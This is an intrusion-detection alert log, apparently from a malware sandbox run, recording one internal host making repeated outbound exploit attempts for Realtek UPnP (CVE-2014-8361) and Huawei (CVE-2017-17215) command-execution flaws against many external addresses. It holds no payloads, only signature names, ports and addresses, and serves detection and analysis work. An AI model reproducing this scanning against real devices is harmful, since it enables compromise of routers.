192.168.2.23156.250.127.8933082528692027339 05/27/22-02:01:11.692792	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33082	52869	192.168.2.23	156.250.127.89
192.168.2.23156.241.107.17440134528692027339 05/27/22-02:00:15.088988	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40134	52869	192.168.2.23	156.241.107.174
192.168.2.23156.241.9.8551482528692027339 05/27/22-01:59:14.781522	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51482	52869	192.168.2.23	156.241.9.85
192.168.2.23156.254.106.3150638372152835222 05/27/22-02:00:15.083835	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50638	37215	192.168.2.23	156.254.106.31
192.168.2.23156.250.92.11838502528692027339 05/27/22-01:59:45.871877	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38502	52869	192.168.2.23	156.250.92.118
192.168.2.23156.244.124.13751360528692027339 05/27/22-02:00:46.025240	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51360	52869	192.168.2.23	156.244.124.137
192.168.2.23156.247.26.4345236372152835222 05/27/22-01:59:23.853441	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45236	37215	192.168.2.23	156.247.26.43
192.168.2.23156.230.19.4956760372152835222 05/27/22-02:00:33.943501	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56760	37215	192.168.2.23	156.230.19.49
192.168.2.23156.226.102.4535730372152835222 05/27/22-02:01:54.932609	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35730	37215	192.168.2.23	156.226.102.45
192.168.2.23156.226.48.19734100372152835222 05/27/22-02:00:08.376395	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34100	37215	192.168.2.23	156.226.48.197
192.168.2.23156.245.62.16754588528692027339 05/27/22-02:00:19.890456	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54588	52869	192.168.2.23	156.245.62.167
192.168.2.23156.244.86.19836702528692027339 05/27/22-02:00:35.358091	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36702	52869	192.168.2.23	156.244.86.198
192.168.2.23156.241.78.9650658528692027339 05/27/22-02:00:11.610290	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50658	52869	192.168.2.23	156.241.78.96
192.168.2.23156.226.74.18248786372152835222 05/27/22-01:59:44.097026	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48786	37215	192.168.2.23	156.226.74.182
192.168.2.23156.241.95.9447898372152835222 05/27/22-02:02:06.304012	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47898	37215	192.168.2.23	156.241.95.94
192.168.2.23156.254.52.2345700528692027339 05/27/22-02:01:58.218787	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45700	52869	192.168.2.23	156.254.52.23
192.168.2.23156.226.91.9455170372152835222 05/27/22-02:00:17.323160	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55170	37215	192.168.2.23	156.226.91.94
192.168.2.23156.241.122.12557538528692027339 05/27/22-02:00:35.351461	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57538	52869	192.168.2.23	156.241.122.125
192.168.2.23156.244.74.5558358528692027339 05/27/22-02:02:21.920625	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58358	52869	192.168.2.23	156.244.74.55
192.168.2.23156.241.115.25236214528692027339 05/27/22-01:59:30.621371	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36214	52869	192.168.2.23	156.241.115.252
192.168.2.23156.224.24.19958360372152835222 05/27/22-01:59:34.881201	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58360	37215	192.168.2.23	156.224.24.199
192.168.2.23156.226.78.25047808372152835222 05/27/22-02:01:59.662027	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47808	37215	192.168.2.23	156.226.78.250
192.168.2.23156.244.82.15344694528692027339 05/27/22-02:01:58.247799	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44694	52869	192.168.2.23	156.244.82.153
192.168.2.23156.254.41.16538674528692027339 05/27/22-01:59:15.425864	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38674	52869	192.168.2.23	156.254.41.165
192.168.2.23156.250.92.4058054372152835222 05/27/22-02:00:25.009375	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58054	37215	192.168.2.23	156.250.92.40
192.168.2.23156.234.227.14757440372152835222 05/27/22-02:01:55.609934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57440	37215	192.168.2.23	156.234.227.147
192.168.2.23156.244.106.24459616372152835222 05/27/22-01:59:12.396985	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59616	37215	192.168.2.23	156.244.106.244
192.168.2.2341.62.197.15951682372152835222 05/27/22-01:59:57.739942	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51682	37215	192.168.2.23	41.62.197.159
192.168.2.23156.244.109.16240398528692027339 05/27/22-01:59:15.954194	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40398	52869	192.168.2.23	156.244.109.162
192.168.2.23156.254.59.18246002528692027339 05/27/22-01:59:38.854059	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46002	52869	192.168.2.23	156.254.59.182
192.168.2.23156.244.73.18634582528692027339 05/27/22-02:00:17.389933	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34582	52869	192.168.2.23	156.244.73.186
192.168.2.23156.250.92.7152864528692027339 05/27/22-02:00:30.406969	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52864	52869	192.168.2.23	156.250.92.71
192.168.2.23156.230.20.14348324528692027339 05/27/22-02:01:08.553112	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48324	52869	192.168.2.23	156.230.20.143
192.168.2.23156.254.59.2146148528692027339 05/27/22-02:00:14.853376	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46148	52869	192.168.2.23	156.254.59.21
192.168.2.2341.78.122.21256684372152835222 05/27/22-02:01:37.012472	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56684	37215	192.168.2.23	41.78.122.212
192.168.2.23156.226.15.19640402372152835222 05/27/22-01:59:20.356979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40402	37215	192.168.2.23	156.226.15.196
192.168.2.23156.226.85.13741602372152835222 05/27/22-02:00:07.712861	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41602	37215	192.168.2.23	156.226.85.137
192.168.2.23156.224.15.11642572528692027339 05/27/22-02:00:37.881857	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42572	52869	192.168.2.23	156.224.15.116
192.168.2.23156.241.91.10050030528692027339 05/27/22-02:00:18.551698	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50030	52869	192.168.2.23	156.241.91.100
192.168.2.23156.244.70.15033964372152835222 05/27/22-01:59:34.757301	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33964	37215	192.168.2.23	156.244.70.150
192.168.2.23156.247.17.7641420372152835222 05/27/22-02:01:13.912399	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41420	37215	192.168.2.23	156.247.17.76
192.168.2.23156.244.64.14244396372152835222 05/27/22-02:00:29.460742	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44396	37215	192.168.2.23	156.244.64.142
192.168.2.23156.241.84.3037158528692027339 05/27/22-02:01:06.103355	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37158	52869	192.168.2.23	156.241.84.30
192.168.2.23156.234.231.8355454372152835222 05/27/22-01:59:47.462212	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55454	37215	192.168.2.23	156.234.231.83
192.168.2.23156.254.58.14252614528692027339 05/27/22-02:01:55.460901	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52614	52869	192.168.2.23	156.254.58.142
192.168.2.23156.241.69.21244796372152835222 05/27/22-02:00:07.160349	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44796	37215	192.168.2.23	156.241.69.212
192.168.2.2341.193.241.18951020528692027339 05/27/22-02:02:27.790700	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51020	52869	192.168.2.23	41.193.241.189
192.168.2.23156.235.97.20942092528692027339 05/27/22-01:59:11.365155	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42092	52869	192.168.2.23	156.235.97.209
192.168.2.23156.244.87.25341444528692027339 05/27/22-02:01:21.724866	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41444	52869	192.168.2.23	156.244.87.253
192.168.2.23156.244.111.21334364372152835222 05/27/22-02:01:49.478596	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34364	37215	192.168.2.23	156.244.111.213
192.168.2.23156.241.125.13759590528692027339 05/27/22-02:02:33.353508	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59590	52869	192.168.2.23	156.241.125.137
192.168.2.23156.238.44.18340602372152835222 05/27/22-01:59:21.924982	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40602	37215	192.168.2.23	156.238.44.183
192.168.2.23156.241.73.6741324372152835222 05/27/22-02:01:26.646996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41324	37215	192.168.2.23	156.241.73.67
192.168.2.23156.247.17.12945064372152835222 05/27/22-02:02:26.831090	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45064	37215	192.168.2.23	156.247.17.129
192.168.2.23156.238.32.12940776372152835222 05/27/22-02:01:26.337550	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40776	37215	192.168.2.23	156.238.32.129
192.168.2.23156.247.23.1940560372152835222 05/27/22-02:02:29.631312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40560	37215	192.168.2.23	156.247.23.19
192.168.2.23156.241.94.20449800372152835222 05/27/22-02:01:10.590932	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49800	37215	192.168.2.23	156.241.94.204
192.168.2.23156.241.68.18940686528692027339 05/27/22-02:00:54.497921	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40686	52869	192.168.2.23	156.241.68.189
192.168.2.23156.225.139.8359006528692027339 05/27/22-01:59:33.005431	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59006	52869	192.168.2.23	156.225.139.83
192.168.2.23156.226.86.6052034372152835222 05/27/22-02:00:04.130060	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52034	37215	192.168.2.23	156.226.86.60
192.168.2.23156.230.21.3951456372152835222 05/27/22-02:01:32.609232	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51456	37215	192.168.2.23	156.230.21.39
192.168.2.23156.232.91.14047196372152835222 05/27/22-02:01:49.092359	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47196	37215	192.168.2.23	156.232.91.140
192.168.2.23156.250.84.16442614372152835222 05/27/22-01:59:31.466307	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42614	37215	192.168.2.23	156.250.84.164
192.168.2.23156.238.63.25155806372152835222 05/27/22-02:02:16.754251	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55806	37215	192.168.2.23	156.238.63.251
192.168.2.23197.214.96.7640638528692027339 05/27/22-01:59:53.606556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40638	52869	192.168.2.23	197.214.96.76
192.168.2.23156.254.55.11643886372152835222 05/27/22-01:59:09.829867	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43886	37215	192.168.2.23	156.254.55.116
192.168.2.23156.244.95.9744928372152835222 05/27/22-01:59:11.369422	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44928	37215	192.168.2.23	156.244.95.97
192.168.2.23156.247.21.4256234372152835222 05/27/22-02:01:14.340412	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56234	37215	192.168.2.23	156.247.21.42
192.168.2.23156.245.49.3060860372152835222 05/27/22-02:01:35.971454	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60860	37215	192.168.2.23	156.245.49.30
192.168.2.23156.250.11.23657594528692027339 05/27/22-01:59:17.459127	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57594	52869	192.168.2.23	156.250.11.236
192.168.2.23156.241.103.24836054372152835222 05/27/22-02:00:23.723270	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36054	37215	192.168.2.23	156.241.103.248
192.168.2.23197.246.131.24551946372152835222 05/27/22-02:01:56.320167	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51946	37215	192.168.2.23	197.246.131.245
192.168.2.23156.226.13.17332948372152835222 05/27/22-02:01:58.818532	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32948	37215	192.168.2.23	156.226.13.173
192.168.2.23156.225.153.13438534528692027339 05/27/22-02:01:55.645339	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38534	52869	192.168.2.23	156.225.153.134
192.168.2.23156.230.17.753602372152835222 05/27/22-02:00:57.236010	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53602	37215	192.168.2.23	156.230.17.7
192.168.2.23156.244.90.17548954528692027339 05/27/22-02:01:12.861867	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48954	52869	192.168.2.23	156.244.90.175
192.168.2.23156.225.153.11546282372152835222 05/27/22-02:00:30.753840	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46282	37215	192.168.2.23	156.225.153.115
192.168.2.23156.244.83.20259496528692027339 05/27/22-01:59:50.344265	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59496	52869	192.168.2.23	156.244.83.202
192.168.2.23156.226.48.21956620528692027339 05/27/22-02:01:12.803099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56620	52869	192.168.2.23	156.226.48.219
192.168.2.23156.241.64.9257610372152835222 05/27/22-01:59:29.238933	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57610	37215	192.168.2.23	156.241.64.92
192.168.2.23156.241.119.15760482528692027339 05/27/22-01:59:39.082470	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60482	52869	192.168.2.23	156.241.119.157
192.168.2.23156.244.100.9832892528692027339 05/27/22-02:01:55.160357	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32892	52869	192.168.2.23	156.244.100.98
192.168.2.23156.244.74.22833762528692027339 05/27/22-02:02:01.306520	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33762	52869	192.168.2.23	156.244.74.228
192.168.2.23156.227.241.1052928528692027339 05/27/22-02:01:50.961196	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52928	52869	192.168.2.23	156.227.241.10
192.168.2.23156.254.79.2459036528692027339 05/27/22-02:01:03.615589	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59036	52869	192.168.2.23	156.254.79.24
192.168.2.23156.226.50.7253032528692027339 05/27/22-02:01:17.282629	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53032	52869	192.168.2.23	156.226.50.72
192.168.2.23156.254.97.16138488372152835222 05/27/22-02:00:16.843487	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38488	37215	192.168.2.23	156.254.97.161
192.168.2.23156.244.116.8833914372152835222 05/27/22-01:59:52.728837	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33914	37215	192.168.2.23	156.244.116.88
192.168.2.23156.250.115.9644040528692027339 05/27/22-02:01:55.737151	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44040	52869	192.168.2.23	156.250.115.96
192.168.2.23156.235.96.15244412372152835222 05/27/22-02:01:39.860809	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44412	37215	192.168.2.23	156.235.96.152
192.168.2.23156.226.75.4348582528692027339 05/27/22-02:00:26.512225	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48582	52869	192.168.2.23	156.226.75.43
192.168.2.23156.250.81.1945382372152835222 05/27/22-02:02:04.097360	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45382	37215	192.168.2.23	156.250.81.19
192.168.2.23156.224.21.15241288372152835222 05/27/22-02:01:54.117029	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41288	37215	192.168.2.23	156.224.21.152
192.168.2.23156.250.114.18555492372152835222 05/27/22-02:00:34.147798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55492	37215	192.168.2.23	156.250.114.185
192.168.2.23156.241.10.7736376372152835222 05/27/22-02:01:58.507926	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36376	37215	192.168.2.23	156.241.10.77
192.168.2.23156.240.107.12838328372152835222 05/27/22-02:01:36.170451	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38328	37215	192.168.2.23	156.240.107.128
192.168.2.23156.250.115.23536014528692027339 05/27/22-02:00:28.975937	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36014	52869	192.168.2.23	156.250.115.235
192.168.2.23156.241.110.15356256372152835222 05/27/22-02:01:58.258420	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56256	37215	192.168.2.23	156.241.110.153
192.168.2.23156.224.9.8542998372152835222 05/27/22-02:00:44.448215	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42998	37215	192.168.2.23	156.224.9.85
192.168.2.23156.244.83.8350380528692027339 05/27/22-02:01:58.512058	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50380	52869	192.168.2.23	156.244.83.83
192.168.2.23156.244.107.16658722528692027339 05/27/22-02:02:21.932784	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58722	52869	192.168.2.23	156.244.107.166
192.168.2.23156.244.81.24446998528692027339 05/27/22-01:59:46.159096	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46998	52869	192.168.2.23	156.244.81.244
192.168.2.23156.230.19.20548094372152835222 05/27/22-02:02:34.126639	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48094	37215	192.168.2.23	156.230.19.205
192.168.2.23156.244.119.15059104528692027339 05/27/22-02:01:32.144220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59104	52869	192.168.2.23	156.244.119.150
192.168.2.23156.247.24.749256372152835222 05/27/22-01:59:20.596556	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49256	37215	192.168.2.23	156.247.24.7
192.168.2.23156.250.8.6239124528692027339 05/27/22-02:00:21.894988	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39124	52869	192.168.2.23	156.250.8.62
192.168.2.23156.232.95.16152518372152835222 05/27/22-02:01:43.911283	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52518	37215	192.168.2.23	156.232.95.161
192.168.2.23156.244.94.3637970372152835222 05/27/22-01:59:35.272349	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37970	37215	192.168.2.23	156.244.94.36
192.168.2.23156.225.137.1545166528692027339 05/27/22-02:01:09.406968	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45166	52869	192.168.2.23	156.225.137.15
192.168.2.23156.254.59.9150450528692027339 05/27/22-02:00:21.503092	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50450	52869	192.168.2.23	156.254.59.91
192.168.2.23156.241.88.19835890528692027339 05/27/22-02:00:59.100766	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35890	52869	192.168.2.23	156.241.88.198
192.168.2.23156.235.105.12336360528692027339 05/27/22-02:00:46.055414	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36360	52869	192.168.2.23	156.235.105.123
192.168.2.23156.232.95.5137688528692027339 05/27/22-02:00:40.261876	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37688	52869	192.168.2.23	156.232.95.51
192.168.2.23156.241.112.2640084372152835222 05/27/22-01:59:37.267591	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40084	37215	192.168.2.23	156.241.112.26
192.168.2.23156.226.98.14046226528692027339 05/27/22-02:00:56.365384	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46226	52869	192.168.2.23	156.226.98.140
192.168.2.23156.241.94.4832996372152835222 05/27/22-02:02:10.711942	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32996	37215	192.168.2.23	156.241.94.48
192.168.2.23156.226.90.7648608372152835222 05/27/22-02:00:20.202547	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48608	37215	192.168.2.23	156.226.90.76
192.168.2.23156.244.72.7235322528692027339 05/27/22-02:02:01.523460	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35322	52869	192.168.2.23	156.244.72.72
192.168.2.23156.250.94.2639952528692027339 05/27/22-02:00:43.534578	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39952	52869	192.168.2.23	156.250.94.26
192.168.2.23156.245.56.23437958372152835222 05/27/22-02:02:18.656583	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37958	37215	192.168.2.23	156.245.56.234
192.168.2.23156.244.79.17551328372152835222 05/27/22-01:59:38.565688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51328	37215	192.168.2.23	156.244.79.175
192.168.2.23156.254.84.10859450372152835222 05/27/22-01:59:46.564418	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59450	37215	192.168.2.23	156.254.84.108
192.168.2.23156.238.44.19044604372152835222 05/27/22-02:01:54.959373	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44604	37215	192.168.2.23	156.238.44.190
192.168.2.23156.254.55.16844094372152835222 05/27/22-01:59:24.100328	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44094	37215	192.168.2.23	156.254.55.168
192.168.2.23156.226.111.17045034528692027339 05/27/22-02:00:21.892038	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45034	52869	192.168.2.23	156.226.111.170
192.168.2.23156.226.24.12737400372152835222 05/27/22-02:00:47.670144	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37400	37215	192.168.2.23	156.226.24.127
192.168.2.23156.226.69.15439230528692027339 05/27/22-02:01:17.460017	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39230	52869	192.168.2.23	156.226.69.154
192.168.2.23156.247.17.13241798528692027339 05/27/22-02:01:57.974569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41798	52869	192.168.2.23	156.247.17.132
192.168.2.23156.250.122.5936524372152835222 05/27/22-01:59:26.957137	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36524	37215	192.168.2.23	156.250.122.59
192.168.2.23156.226.9.16241224372152835222 05/27/22-02:00:11.258185	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41224	37215	192.168.2.23	156.226.9.162
192.168.2.23156.241.65.16838068372152835222 05/27/22-02:01:37.321901	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38068	37215	192.168.2.23	156.241.65.168
192.168.2.23156.250.86.12647748528692027339 05/27/22-02:00:38.554220	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47748	52869	192.168.2.23	156.250.86.126
192.168.2.23156.226.51.11539150372152835222 05/27/22-02:01:16.789476	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39150	37215	192.168.2.23	156.226.51.115
192.168.2.23156.254.92.23237656372152835222 05/27/22-02:01:29.348977	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37656	37215	192.168.2.23	156.254.92.232
